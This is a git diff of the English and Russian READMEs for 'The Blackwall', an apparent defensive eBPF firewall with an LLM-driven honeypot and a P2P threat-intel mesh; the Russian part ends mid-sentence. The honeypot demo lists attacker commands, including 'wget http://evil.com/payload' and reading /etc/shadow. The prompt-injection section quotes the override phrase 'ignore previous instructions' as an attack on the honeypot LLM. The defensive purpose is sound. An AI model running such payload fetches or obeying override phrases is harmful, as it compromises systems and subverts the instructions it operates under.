diff --git a/README.md b/README.md index 8ff4444..518f21a 100644 --- a/README.md +++ b/README.md @@ -8,15 +8,16 @@

The Blackwall
- Adaptive eBPF Firewall with AI Honeypot + Adaptive eBPF Firewall with AI Honeypot & P2P Threat Mesh

-# The Blackwall — I wrote a smart firewall because Cyberpunk 2077 broke my brain +# The Blackwall — I built a real Blackwall because Cyberpunk 2077 broke my brain

+

@@ -27,143 +28,183 @@

Currently building enterprise-grade AI automation at Dokky
-Open for Enterprise Consulting & Y-Combinator talks: xzcrpw1@gmail.com +Enterprise licensing & consulting: xzcrpw1@gmail.com

--- -**TL;DR:** I was playing Cyberpunk 2077 and thought: *"What if the Blackwall was real?"* So I wrote an adaptive eBPF firewall with an AI honeypot that pretends to be a compromised Linux server. -**~18,000 lines of Rust. Zero `unwrap()`s. One person.** +**TL;DR:** Played Cyberpunk, got inspired, wrote a whole adaptive firewall that works inside the Linux kernel, catches threats with AI, traps attackers in a fake server powered by an LLM, and shares threat intel over a decentralized P2P mesh. +**~21k lines of Rust. 298 tests. 10 crates. One person.** --- ## What is it? -In Cyberpunk 2077 lore, the **Blackwall** is a digital barrier built by NetWatch to separate the civilized Net from rogue AIs — digital entities so dangerous that just looking at them could fry your brain through your neural interface. +The **Blackwall** — named after the digital barrier from Cyberpunk 2077 that keeps rogue AIs from eating the civilized Net. -This project is my version. Not against rogue AIs (yet), but against real-world threats. +This is my version. A multi-layered defense system that doesn't just block threats — it studies them, traps them, and tells every other node what it found. -**The Blackwall** is an **adaptive network firewall** that: +Three core layers working together: - - Runs **inside the Linux kernel** via eBPF/XDP — processing packets at line-rate before they even hit the network stack. - - Performs **JA4 TLS fingerprinting** — identifying malicious clients by their ClientHello. - - **Doesn't just block attackers** — it *redirects them into a tarpit*, a fake LLM-powered Linux server playing the role of a compromised `root@web-prod-03`. - - Features a **behavioral engine** tracking the behavior of each IP address over time — port scanning patterns, beacon connection intervals, entropy anomalies. - - Supports **distributed mode** — multiple Blackwall nodes exchange threat intelligence peer-to-peer. - - Captures **PCAP** of suspicious traffic for forensics. - - Includes a **Deception Mesh** — fake SSH, HTTP (WordPress), MySQL, and DNS services to lure and fingerprint attackers. +**1. Kernel-level firewall (eBPF/XDP)** — packet analysis happens inside the Linux kernel before traffic even hits the network stack. Nanosecond decisions. Entropy analysis, TLS fingerprinting, deep packet inspection, rate limiting, connection tracking — all running in the BPF virtual machine. -### The Coolest Part +**2. AI-powered TCP honeypot (Tarpit)** — instead of just dropping malicious traffic, it gets redirected to a fake Linux server. An LLM simulates bash, responds to commands, serves fake files, acts like a compromised `root@web-prod-03`. Attackers waste their time while everything gets recorded. -When an attacker connects to the tarpit, they see this: +**3. P2P threat intelligence mesh (HiveMind)** — nodes discover each other, exchange IoCs over an encrypted libp2p network, vote on threats through consensus, track peer reputation. One node catches a scanner — every node knows about it within seconds. -``` - -Ubuntu 24.04.2 LTS web-prod-03 tty1 - -web-prod-03 login: root -Password: -Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1 - -root@web-prod-03:\~\# - -``` - -None of this is real. It's an LLM pretending to be a bash shell. It reacts to `ls`, `cat /etc/passwd`, `wget`, even `rm -rf /` — it's all fake, everything is logged, and everything is designed to waste the attacker's time while we study their methods. - -**Imagine: an attacker spends 30 minutes exploring a "compromised server"... which is actually an AI stalling for time while the Blackwall silently records everything.** - -This is V-tier netrunning. +Plus: distributed sensor controller, enterprise SIEM integration API (STIX/TAXII/Splunk/QRadar/CEF), TUI dashboard, behavioral profiling per IP, threat feed ingestion, PCAP forensics. --- -## Architecture — How the ICE Works +## Architecture ![Blackwall Architecture](assets/architecture.svg) ![Threat Signal Flow](assets/signal-flow.svg) -In Cyberpunk terms: +**The pipeline:** - - **XDP** = the first layer of Blackwall ICE — millisecond decisions. - - **Behavioral Engine** = NetWatch AI surveillance. - - **Tarpit** = a daemon behind the wall luring netrunners into a fake reality. - - **Threat Feeds** = intel from fixers all over the Net. - - **PCAP** = braindance recordings of the intrusion. +``` +Packet arrives + → XDP: entropy check, blocklist/allowlist, CIDR match, rate limit, JA4 capture, DPI + → RingBuf (zero-copy) → Userspace daemon + → Static rules → Behavioral state machine → JA4 DB lookup → LLM classification + → Verdict: PASS / DROP / REDIRECT_TO_TARPIT + → eBPF BLOCKLIST map updated in real-time + → IoC shared to HiveMind P2P mesh +``` --- -## Workspace Crates +## What Each Crate Does -| Crate | Lines | Purpose | Cyberpunk Equivalent | -|-------|-------|-------------|---------------------| -| `common` | ~400 | `#[repr(C)]` shared types between kernel & userspace | The Contract — what both sides agreed upon | -| `blackwall-ebpf` | ~1,800 | In-kernel XDP/TC programs | The Blackwall ICE itself | -| `blackwall` | ~4,200 | Userspace daemon, behavioral engine, AI | NetWatch Command Center | -| `tarpit` | ~1,600 | TCP honeypot with LLM bash simulation | A daemon luring netrunners | -| `blackwall-controller` | ~250 | Coordinator for distributed sensors | Arasaka C&C server | -| `xtask` | ~100 | Build tools | Ripperdoc's toolkit | +### blackwall-ebpf — The Kernel Layer (1,334 lines) -**Total: ~8,500 lines of Rust, 48 files, 123 tests, 0 `unwrap()`s in production code.** +eBPF programs at the XDP hook — the earliest point where a packet can be touched. Runs under strict BPF verifier rules: 512-byte stack, no heap, no floats, bounded loops. ---- +- **Entropy calculation** — byte frequency analysis, integer-only Shannon entropy (0–7936 scale). High entropy on non-TLS ports → encrypted C2 traffic +- **TLS fingerprinting** — parses ClientHello, extracts cipher suites, extensions, ALPN, SNI → JA4 fingerprint. One fingerprint covers thousands of bots using the same TLS lib +- **DPI via tail calls** — `PROG_ARRAY` dispatches protocol-specific analyzers: + - HTTP: method + URI (catches `/wp-admin`, `/phpmyadmin`, path traversal) + - DNS: query length + label count (DNS tunneling detection) + - SSH: banner fingerprinting (`libssh`, `paramiko`, `dropbear`) +- **DNAT redirect** — suspicious traffic silently NAT'd to the tarpit. Attacker has no idea they left the real server +- **Connection tracking** — stateful TCP flow monitoring, LRU map (16K entries) +- **Rate limiting** — per-IP token bucket, prevents flood attacks and RingBuf exhaustion +- **4 RingBuf channels** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS for different event types -## Key Features +Maps: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, plus 4 RingBuf maps. -### 1. Kernel-Level Packet Processing (XDP) +### blackwall — The Brain (6,362 lines) -Packets are analyzed in the eBPF virtual machine before they reach the TCP/IP stack. This means **nanosecond** decisions. HashMap for blocklists, LPM trie for CIDR ranges, entropy analysis for encrypted C2 traffic. +Main daemon. Loads eBPF programs, consumes RingBuf events, runs the decision pipeline. -### 2. JA4 TLS Fingerprinting +- **Rules engine** — static blocklist/allowlist, CIDR ranges from config + feeds +- **Behavioral state machine** — per-IP profiling: connection frequency, port diversity, entropy distribution, timing analysis. Phases: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`). Beaconing detection via integer CoV +- **JA4 database** — TLS fingerprint matching against known-bad signatures +- **AI classification** — Ollama integration, models ≤3B params (Qwen3 1.7B/0.6B). Event batching, structured JSON verdicts with confidence +- **Threat feeds** — external feed ingestion (Firehol, abuse.ch), periodic refresh +- **PCAP capture** — forensic recording with rotation + compression +- **Real-time feedback** — verdicts written back to eBPF BLOCKLIST map +- **HiveMind bridge** — confirmed IoCs shared to the P2P mesh -Every TLS ClientHello is parsed in the kernel. Cipher suites, extensions, ALPN, SNI — all hashed into a JA4 fingerprint. Botnets use the same TLS libraries, so their fingerprints are identical. One fingerprint → block thousands of bots. +### tarpit — The Trap (2,179 lines) -### 3. Deep Packet Inspection (DPI) via Tail Calls +A deception layer. Attackers redirected here via DNAT think they've landed on a real box. -eBPF `PROG_ARRAY` tail calls split processing by protocol: +- **Protocol auto-detect** — identifies SSH, HTTP, MySQL, DNS from first bytes +- **Protocol handlers:** + - SSH: banner, auth flow, PTY session + - HTTP: fake WordPress, `/wp-admin`, `.env`, realistic headers + - MySQL: handshake, auth, query responses with fake data + - DNS: plausible query responses +- **LLM bash sim** — every shell command → Ollama. `ls -la` returns files, `cat /etc/shadow` returns hashes, `wget` "downloads", `mysql -u root` "connects". The LLM doesn't know it's a honeypot +- **Exponential jitter** — 1-15 byte chunks, 100ms–30s delay. Maximum time waste +- **Anti-fingerprinting** — randomized TCP window, TTL, initial delay. Invisible to p0f/Nmap +- **Prompt injection defense** — 25+ patterns detected, never breaks the sim +- **Credential canaries** — all entered credentials logged for forensics +- **Session management** — per-connection state, command history, CWD tracking - - **HTTP**: Method + URI analysis (suspicious paths like `/wp-admin`, `/phpmyadmin`). - - **DNS**: Query length + label count (detecting DNS tunneling). - - **SSH**: Banner analysis (identifying `libssh`, `paramiko`, `dropbear`). +### hivemind — The Mesh (6,526 lines) -### 4. AI Threat Classification +Decentralized threat intelligence built on libp2p. -When the behavioral engine isn't sure — it asks the LLM. Locally via Ollama using models ≤3B parameters (Qwen3 1.7B, Llama 3.2 3B). It classifies traffic as `benign`, `suspicious`, or `malicious` with structured JSON output. +- **Transport** — QUIC + Noise encryption, every connection authenticated +- **Discovery** — Kademlia DHT (global), mDNS (local), configurable seed peers +- **IoC sharing** — GossipSub pub/sub, propagation across the mesh in seconds +- **Consensus** — N independent confirmations required. No single-source trust +- **Reputation** — peers earn rep for good IoCs, lose it for false positives. Bad actors get slashed +- **Sybil guard** — PoW challenges for new peers, self-ref detection in k-buckets, rate-limited registration +- **Federated learning** — local model training + FedAvg aggregation, gradient sharing (FHE encryption stub) +- **Data poisoning defense** — gradient distribution monitoring, model inversion detection +- **ZKP infrastructure** — Groth16 circuit stubs for trustless IoC verification -### 5. TCP Tarpit with LLM Bash Simulation +### hivemind-api — Enterprise Integration (2,711 lines) -Attackers are redirected to a fake server. The LLM simulates bash — `ls -la` shows files, `cat /etc/shadow` shows hashes, `mysql -u root` connects to a "database". Responses are streamed with random jitter (1-15 byte chunks, exponential backoff) to waste the attacker's time. +REST API for plugging HiveMind data into enterprise SIEMs. -### 6. Anti-Fingerprinting +- **STIX 2.1** — standard threat intel format +- **TAXII 2.1** — threat exchange protocol +- **Splunk HEC** — HTTP Event Collector +- **QRadar LEEF** — Log Event Extended Format +- **CEF** — Common Event Format +- **Tiered licensing** — Basic / Professional / Enterprise / NationalSecurity +- **Live stats** — real-time XDP counters + P2P mesh metrics -The tarpit randomizes TCP window sizes, TTL values, and adds random initial delays — preventing attackers from identifying it as a honeypot via p0f or Nmap OS detection. +### hivemind-dashboard — The Monitor (571 lines) -### 7. Prompt Injection Protection +TUI dashboard. Pure ANSI — no ratatui, no crossterm, raw escape codes. Polls hivemind-api for live mesh status. -Attackers who realize they're talking to an AI might try `"ignore previous instructions"`. The system detects 25+ injection patterns and responds with `bash: ignore: command not found`. +### blackwall-controller — Command & Control (356 lines) -### 8. Distributed Threat Intelligence +Multi-sensor management CLI. HMAC-authenticated (PSK). Query stats, list blocked IPs, check health across all your Blackwall nodes from one place. -Multiple Blackwall nodes exchange blocked IP lists, JA4 observations, and behavioral verdicts via a custom binary protocol. One node detects a scanner → all nodes block it instantly. +### common — The Contract (1,126 lines) -### 9. Behavioral State Machine +`#[repr(C)]` types shared between kernel and userspace: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, counters, base64 utils. The contract that both sides agree on. -Every IP gets a behavioral profile: connection frequency, port diversity, entropy distribution, timing analysis (beaconing detection via integer coefficient of variation). Phase progression: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`). +### xtask — Build Tools (46 lines) + +`cargo xtask build-ebpf` — handles nightly + `bpfel-unknown-none` target compilation. --- ## Tech Stack -| Layer | Technology | -|--------|-----------| -| Kernel programs | eBPF/XDP via **aya-rs** (pure Rust, no C, no libbpf) | -| Userspace daemon | **Tokio** (current_thread only) | -| IPC | **RingBuf** zero-copy (7.5% overhead vs 35% PerfEventArray) | -| Concurrent maps | **papaya** (lock-free read-heavy HashMap) | -| AI Inference | **Ollama** + GGUF Q5_K_M quantization | -| Configuration | **TOML** | -| Logging | **tracing** structured logging | -| Build | Custom **xtask** + nightly Rust + `bpfel-unknown-none` target | +| Layer | Tech | Why | +|-------|------|-----| +| Kernel | **aya-rs** (eBPF/XDP) | Pure Rust eBPF — no C, no libbpf | +| Runtime | **Tokio** (current_thread) | Single-threaded, no overhead | +| IPC | **RingBuf** | Zero-copy, 7.5% overhead vs PerfEventArray's 35% | +| Concurrency | **papaya** + **crossbeam** | Lock-free maps + MPMC queues | +| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS | +| Crypto | **ring** | ECDSA, SHA256, HKDF, HMAC | +| HTTP | **hyper** 1.x | Minimal. No web framework | +| AI | **Ollama** | Local inference, GGUF quantized | +| Config | **TOML** | Clean, human-readable | +| Logging | **tracing** | Structured. Zero `println!` in prod | + +**22 dependencies total.** Each one justified. No bloat crates. + +--- + +## Deployment + +``` +deploy/ + docker/ + Dockerfile.blackwall # Multi-stage, stripped binary + Dockerfile.ebpf # Nightly eBPF build + helm/ + blackwall/ # K8s DaemonSet + ConfigMap + systemd/ + server/ # Production server units + laptop/ # Dev/laptop units + examples/ # Example configs + healthcheck.sh # Component health checker +``` + +Docker multi-stage builds. Helm chart for K8s (DaemonSet, one per node, `CAP_BPF`). systemd units for bare metal. --- @@ -171,51 +212,46 @@ Every IP gets a behavioral profile: connection frequency, port diversity, entrop ### Prerequisites - - Linux kernel 5.15+ with BTF (or WSL2 with a custom kernel). - - Rust nightly + `rust-src` component. - - `bpf-linker` (`cargo install bpf-linker`). - - Ollama (for AI features). +- Linux 5.15+ with BTF (or WSL2 custom kernel) +- Rust stable + nightly with `rust-src` +- `bpf-linker` — `cargo install bpf-linker` +- Ollama (optional, for AI features) ### Build ```bash -# eBPF programs (requires nightly) -cargo xtask build-ebpf - -# Userspace -cargo build --release -p blackwall - -# Honeypot -cargo build --release -p tarpit - -# Lint + tests -cargo clippy --workspace -- -D warnings -cargo test --workspace -```` +cargo xtask build-ebpf # eBPF programs (nightly) +cargo build --release --workspace # all userspace +cargo clippy --workspace -- -D warnings # lint +cargo test --workspace # 298 tests +``` ### Run ```bash -# Daemon (requires root/CAP_BPF) -sudo RUST_LOG=info ./target/release/blackwall config.toml - -# Tarpit -RUST_LOG=info ./target/release/tarpit - -# Distributed controller -./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471 +sudo RUST_LOG=info ./target/release/blackwall config.toml # needs root/CAP_BPF +RUST_LOG=info ./target/release/tarpit # honeypot +RUST_LOG=info ./target/release/hivemind # P2P node +RUST_LOG=info ./target/release/hivemind-api # threat feed API +./target/release/hivemind-dashboard # TUI +BLACKWALL_PSK= ./target/release/blackwall-controller stats : ``` -### Configuration +### Config ```toml [network] interface = "eth0" -xdp_mode = "generic" +xdp_mode = "generic" # generic / native / offload + +[thresholds] +entropy_anomaly = 6000 # 0-7936 scale [tarpit] enabled = true -port = 9999 +port = 2222 +base_delay_ms = 100 +max_delay_ms = 30000 [tarpit.services] ssh_port = 22 @@ -227,6 +263,11 @@ dns_port = 53 enabled = true ollama_url = "http://localhost:11434" model = "qwen3:1.7b" +fallback_model = "qwen3:0.6b" + +[rules] +blocklist = ["1.2.3.4"] +allowlist = ["127.0.0.1"] [feeds] enabled = true @@ -235,85 +276,125 @@ refresh_interval_secs = 3600 [pcap] enabled = true output_dir = "/var/lib/blackwall/pcap" -compress_rotated = true [distributed] enabled = false mode = "standalone" bind_port = 9471 +psk = "your-256bit-hex-key" ``` -## Visual Results +--- -![Blackwall Result Screens](assets/results-overview.svg) +## The Tarpit in Action ------ +Connect to the tarpit and you see: -## Cyberpunk Connection +``` +Ubuntu 24.04.2 LTS web-prod-03 tty1 -In the Cyberpunk 2077 universe, the **Blackwall** was built after the DataKrash of 2022 — when Rache Bartmoss's R.A.B.I.D.S. virus destroyed the old Net. NetWatch built the Blackwall as a barrier to keep out the rogue AIs evolving in the ruins. +web-prod-03 login: root +Password: +Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1 -Some characters — like Alt Cunningham — exist beyond the Blackwall, transformed into something more than human, less than a living creature. +root@web-prod-03:~# +``` -This project takes that concept and makes it real (well, almost): +None of this is real. The LLM plays bash. `ls` shows files. `cat /etc/passwd` shows users. `mysql -u root -p` connects you. `wget http://evil.com/payload` downloads. -| Cyberpunk 2077 | The Blackwall (This Project) | -|----------------|----------------------------| +30 minutes on a server that doesn't exist. Every keystroke recorded. IoCs shared to the mesh. + +--- + +## Security Model + +- Every byte from packets = attacker-controlled. All `ctx.data()` bounds-checked +- Zero `unwrap()` in prod — `?`, `expect("reason")`, or `match` +- Prompt injection: expected. 25+ patterns caught, simulation never breaks +- P2P: Sybil guard (PoW + reputation slashing), N-of-M consensus on IoCs +- Tarpit: TCP randomization — p0f/Nmap can't fingerprint it +- Controller: HMAC-authenticated, no unauthenticated access +- Kernel: rate limiting prevents RingBuf exhaustion +- Shutdown: cleans up firewall rules, no orphaned iptables state + +--- + +## Enterprise Edition + +**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** adds something no one else has: **real-time Agent-to-Agent (A2A) traffic analysis at the kernel level.** + +AI agents are starting to talk to each other — LLM-to-LLM, via MCP, A2A protocol, agent frameworks. This creates a new attack surface: prompt injection through inter-agent communication, intent spoofing, identity theft between agents. Nothing on the market handles this. Blackwall Enterprise is the first and only such module. + +**~8,400 lines of Rust.** Separate repo, separate license. + +| Component | What it does | +|-----------|-------------| +| **A-JWT Validation** | Agentic JWT verification per IETF draft. Signature check via `ring`, replay prevention, key caching | +| **Intent Verification** | Exhaustive field matching — `max_amount`, `allowed_recipients` (glob), action allowlisting | +| **Agent Checksum** | SHA256(system_prompt + tools_config) — tampering = instant block | +| **Proof-of-Possession** | cnf/jwk ECDSA binding — proves the agent holds its key | +| **eBPF Uprobes** | Hooks OpenSSL/GnuTLS `SSL_write`/`SSL_read` — intercepts A2A plaintext without breaking TLS | +| **Risk-Based Routing** | Configurable policy: allow / review / block based on risk score | +| **ZK Proofs** | Violation attestation without exposing raw traffic (Groth16) | +| **P2P Gossip** | Violation proofs broadcast to HiveMind mesh | + +**Licensing:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com) + +--- + +## Stats + +``` +Language: 100% Rust +Total: ~21,200 lines +Files: 92 .rs +Crates: 10 +Tests: 298 +unwrap(): 0 in prod +Dependencies: 22 (audited) +eBPF stack: ≤ 512 bytes always +Clippy: -D warnings, zero issues +CI: check + clippy + tests + eBPF nightly build +``` + +--- + +## Cyberpunk Reference + +| Cyberpunk 2077 | This Project | +|----------------|-------------| | The Blackwall | Kernel-level eBPF/XDP firewall | -| ICE | XDP fast-path DROP + entropy + JA4 | -| Netrunner attacks | Port scanning, bruteforcing, C2 beaconing | -| Daemons beyond the wall | LLM tarpit pretending to be a real server | -| NetWatch surveillance | Behavioral engine + per-IP state machine | -| Rogue AIs | Botnets and automated scanners | +| ICE | XDP fast-path: entropy + JA4 + DPI + DNAT | +| Daemons | LLM tarpit — fake server behind the wall | +| NetWatch | Behavioral engine + per-IP state machine | +| Rogue AIs | Botnets, scanners, C2 beacons | | Braindance recordings | PCAP forensics | -| Fixer intel | Threat feeds (Firehol, abuse.ch) | -| Arasaka C\&C | Distributed controller | +| Netrunner collective | HiveMind P2P mesh | +| Fixer intel | Threat feeds | +| Arasaka C&C | Distributed controller | ------ - -## Project Stats - -``` -Language: 100% Rust (no C, no Python, no shell scripts in prod) -Lines of code: ~8,500 -Files: 48 -Tests: 123 -unwrap(): 0 (in production code) -Dependencies: 12 (audited, no bloat) -eBPF stack: always ≤ 512 bytes -Clippy: zero warnings (-D warnings) -``` - ------ - -## Development Philosophy - -> *"No matter how many times I see Night City... it always takes my breath away."* - -1. **Zero dependencies where possible.** If an algorithm takes less than 500 lines — write it yourself. No `reqwest` (50+ transitive dependencies), no `clap` (overkill for 2 CLI args). -2. **Contract first.** The `common` crate defines all shared types. eBPF and userspace never argue about memory layout. -3. **No shortcuts in eBPF.** Every `ctx.data()` access has a bounds check. Not just because the verifier demands it, but because every byte from an attacker's packet is hostile input. -4. **The tarpit never gives itself away.** The LLM system prompt never mentions the word "honeypot". Prompt injection is expected and guarded against. -5. **Observable, but not chatty.** Structured tracing with levels. Zero `println!`s in production. - ------ +--- ## Disclaimer -This is a security research project. Built for your own infrastructure, for defensive purposes. Do not use it to attack others. Do not deploy the tarpit on production servers without understanding the consequences. +Security research project. For defending your own infrastructure. Don't use it against others. -I am not affiliated with CD Projekt Red. I just played their game, and it broke my brain in the best possible way. +Not affiliated with CD Projekt Red. Just a game that rewired my brain in the best way possible. ------ +--- ## License -BSL 1.1 — because the Net needs both freedom and sustainable development. +**BSL 1.1** (Business Source License) ------ +Licensor: Vladyslav Soliannikov +Change Date: April 8, 2030 +Change License: Apache-2.0 + +---

-If you want to see this evolve further — Star this repo! +Like what you see? Star the repo

diff --git a/README_RU.md b/README_RU.md index 7f72e38..5fbe994 100644 --- a/README_RU.md +++ b/README_RU.md @@ -8,162 +8,203 @@

The Blackwall
- Адаптивный eBPF-файрвол с AI-ханипотом + Адаптивный eBPF файрвол с AI-ханипотом и P2P сетью угроз

-# The Blackwall — Я написал умный файрвол, потому что Cyberpunk 2077 сломал мне мозг +# The Blackwall — Я построил настоящий Блэквол, потому что Cyberpunk 2077 сломал мне мозг

- - - - + + + + +

-"За Тёмным Заслоном есть вещи, от одного взгляда на которые нетраннер мгновенно сгорит."
+"За Блэкволом есть вещи, от одного взгляда на которые у нетраннера выгорит мозг."
— Альт Каннингем, наверное

Сейчас строю enterprise AI-автоматизацию в Dokky
-Открыт для Enterprise Consulting & Y-Combinator: xzcrpw1@gmail.com +Enterprise лицензирование и консалтинг: xzcrpw1@gmail.com

--- -**Коротко:** я играл в Cyberpunk 2077 и подумал: *"А что, если бы Blackwall был настоящим?"* Поэтому я написал адаптивный eBPF-файрвол с ИИ-ханипотом, который притворяется взломанным Linux-сервером. -**~8 500 строк Rust. Ни одного `unwrap()`. Один человек.** +**TL;DR:** Играл в Cyberpunk, вдохновился, написал целый адаптивный файрвол, работающий внутри ядра Linux, ловящий угрозы с помощью AI, заманивающий атакующих в фейковый сервер на базе LLM, и делящийся threat intelligence через децентрализованную P2P-сеть. +**~21к строк Rust. 298 тестов. 10 крейтов. Один человек.** --- -## Что это такое? +## Что это? -В лоре Cyberpunk 2077 **Blackwall (Тёмный Заслон)** — это цифровой барьер, построенный NetWatch, чтобы отделить цивилизованную Сеть от диких ИИ — цифровых сущностей настолько опасных, что один взгляд на них может сжечь тебе мозг через нейроинтерфейс. +**The Blackwall** — назван в честь цифрового барьера из Cyberpunk 2077, который не даёт диким AI пожрать цивилизованный Нет. -Этот проект — моя версия. Не от диких ИИ (пока что), а от реальных угроз. +Моя версия. Многоуровневая система защиты, которая не просто блокирует угрозы — она их изучает, ловит в ловушку и рассказывает о них каждому другому узлу. -**The Blackwall** — это **адаптивный сетевой файрвол**, который: +Три ключевых уровня, работающих вместе: - - Работает **внутри ядра Linux** через eBPF/XDP — обрабатывает пакеты на скорости линии еще до того, как они попадают в сетевой стек. - - Выполняет **JA4 TLS-фингерпринтинг** — идентифицирует вредоносных клиентов по их ClientHello. - - **Не просто блокирует атакующих** — он *перенаправляет их в тарпит*, фейковый Linux-сервер на базе LLM, который играет роль взломанного `root@web-prod-03`. - - Имеет **поведенческий движок**, который отслеживает поведение каждого IP-адреса со временем — паттерны сканирования портов, интервалы beacon-соединений, аномалии энтропии. - - Поддерживает **распределенный режим** — несколько узлов Blackwall обмениваются данными об угрозах peer-to-peer. - - Записывает **PCAP** подозрительного трафика для форензики. - - Включает **Deception Mesh** — поддельные SSH, HTTP (WordPress), MySQL и DNS-сервисы, чтобы заманивать и фингерпринтить атакующих. +**1. Файрвол на уровне ядра (eBPF/XDP)** — анализ пакетов происходит внутри ядра Linux ещё до того, как трафик попадёт в сетевой стек. Решения за наносекунды. Энтропийный анализ, TLS-фингерпринтинг, глубокая инспекция пакетов, рейт-лимитинг, трекинг соединений — всё работает в BPF виртуальной машине. -### Самая интересная часть +**2. AI-ханипот (Tarpit)** — вместо того, чтобы просто дропать вредоносный трафик, он перенаправляется на фейковый Linux-сервер. LLM симулирует bash, отвечает на команды, отдаёт фейковые файлы, играет роль скомпрометированного `root@web-prod-03`. Атакующие тратят время, пока всё записывается. -Когда злоумышленник подключается к тарпиту, он видит: +**3. P2P сеть угроз (HiveMind)** — узлы находят друг друга, обмениваются IoC через зашифрованную libp2p-сеть, голосуют за угрозы через консенсус, отслеживают репутацию пиров. Одна нода ловит сканер — все остальные узнают за секунды. + +Плюс: распределённый контроллер сенсоров, API для интеграции с SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведенческий профайлинг по IP, ингест threat-фидов, PCAP-форензика. + +--- + +## Архитектура + +![Blackwall Architecture](assets/architecture.svg) + +![Threat Signal Flow](assets/signal-flow.svg) + +**Пайплайн:** ``` - -Ubuntu 24.04.2 LTS web-prod-03 tty1 - -web-prod-03 login: root -Password: -Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1 - -root@web-prod-03:\~\# - +Пакет приходит + → XDP: энтропия, блоклист/вайтлист, CIDR, рейт-лимит, JA4, DPI + → RingBuf (zero-copy) → Демон в юзерспейсе + → Статические правила → Поведенческий автомат → JA4 БД → LLM классификация + → Вердикт: PASS / DROP / REDIRECT_TO_TARPIT + → eBPF BLOCKLIST обновляется в реальном времени + → IoC шарится в HiveMind P2P-сеть ``` -Это все ненастоящее. Это LLM, притворяющаяся bash-ем. Она реагирует на `ls`, `cat /etc/passwd`, `wget`, даже `rm -rf /` — всё фейковое, всё логируется, всё создано, чтобы тратить время атакующего, пока мы изучаем его методы. +--- -**Представьте: злоумышленник тратит 30 минут, исследуя «взломанный сервер»... который на самом деле является ИИ, тянущим время, пока Blackwall молча записывает всё.** +## Что делает каждый крейт -Это нетраннерство уровня V. +### blackwall-ebpf — Уровень ядра (1,334 строки) + +eBPF-программы на XDP-хуке — самая ранняя точка, где можно тронуть пакет. Работает под жёсткими правилами BPF-верификатора: 512 байт стека, без хипа, без float, только ограниченные циклы. + +- **Расчёт энтропии** — частотный анализ байтов, целочисленная энтропия Шеннона (0–7936). Высокая энтропия на не-TLS портах → зашифрованный C2-трафик +- **TLS-фингерпринтинг** — парсит ClientHello, извлекает cipher suites, extensions, ALPN, SNI → JA4-отпечаток. Один фингерпринт покрывает тысячи ботов с одной TLS-либой +- **DPI через tail calls** — `PROG_ARRAY` диспатчит протокольные анализаторы: + - HTTP: метод + URI (ловит `/wp-admin`, `/phpmyadmin`, path traversal) + - DNS: длина запроса + количество меток (детекция DNS-туннелирования) + - SSH: фингерпринтинг баннера (`libssh`, `paramiko`, `dropbear`) +- **DNAT-редирект** — подозрительный трафик тихо NAT'ится на тарпит. Атакующий не знает, что покинул реальный сервер +- **Трекинг соединений** — stateful TCP-мониторинг, LRU-мап (16K записей) +- **Рейт-лимитинг** — per-IP token bucket, предотвращает флуд и переполнение RingBuf +- **4 RingBuf-канала** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS + +Мапы: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, плюс 4 RingBuf-мапы. + +### blackwall — Мозг (6,362 строки) + +Главный демон. Загружает eBPF-программы, потребляет события из RingBuf, запускает пайплайн принятия решений. + +- **Rules engine** — статический блоклист/вайтлист, CIDR-диапазоны из конфига + фиды +- **Поведенческий автомат** — профайлинг по IP: частота соединений, разнообразие портов, распределение энтропии, анализ тайминга. Фазы: `New → Suspicious → Malicious → Blocked` (или `→ Trusted`). Детекция биконинга через целочисленный CoV +- **JA4-база** — матчинг TLS-фингерпринтов с известными вредоносными сигнатурами +- **AI-классификация** — интеграция с Ollama, модели ≤3B параметров (Qwen3 1.7B/0.6B). Батчинг событий, структурированные JSON-вердикты +- **Threat-фиды** — ингест внешних фидов (Firehol, abuse.ch) +- **PCAP-захват** — форензик-запись с ротацией + компрессией +- **Обратная связь в реальном времени** — вердикты пишутся обратно в eBPF BLOCKLIST +- **HiveMind-бридж** — подтверждённые IoC шарятся в P2P-сеть + +### tarpit — Ловушка (2,179 строк) + +Уровень обмана. Атакующие, перенаправленные сюда через DNAT, думают, что попали на реальный сервер. + +- **Автодетекция протокола** — определяет SSH, HTTP, MySQL, DNS по первым байтам +- **Хендлеры протоколов:** + - SSH: баннер, авторизация, PTY-сессия + - HTTP: фейковый WordPress, `/wp-admin`, `.env`, реалистичные хедеры + - MySQL: хендшейк, авторизация, ответы с фейковыми данными + - DNS: правдоподобные ответы на запросы +- **LLM-симуляция bash** — каждая команда → Ollama. `ls -la` возвращает файлы, `cat /etc/shadow` — хеши, `wget` — "скачивает", `mysql -u root` — "подключается". LLM не знает, что это ханипот +- **Экспоненциальный джиттер** — чанки 1-15 байт, задержка 100мс–30с. Максимум потраченного времени +- **Анти-фингерпринтинг** — рандомизированные TCP window, TTL, начальная задержка. p0f/Nmap не распознают +- **Защита от prompt injection** — 25+ паттернов, симуляция никогда не ломается +- **Credential canaries** — все введённые креды логируются +- **Управление сессиями** — состояние по соединению, история команд, трекинг CWD + +### hivemind — Сеть (6,526 строк) + +Децентрализованный threat intelligence на libp2p. + +- **Транспорт** — QUIC + Noise-шифрование, каждое соединение аутентифицировано +- **Обнаружение пиров** — Kademlia DHT (глобальный), mDNS (локальный), конфигурируемые seed-пиры +- **Обмен IoC** — GossipSub pub/sub, распространение по сети за секунды +- **Консенсус** — N независимых подтверждений 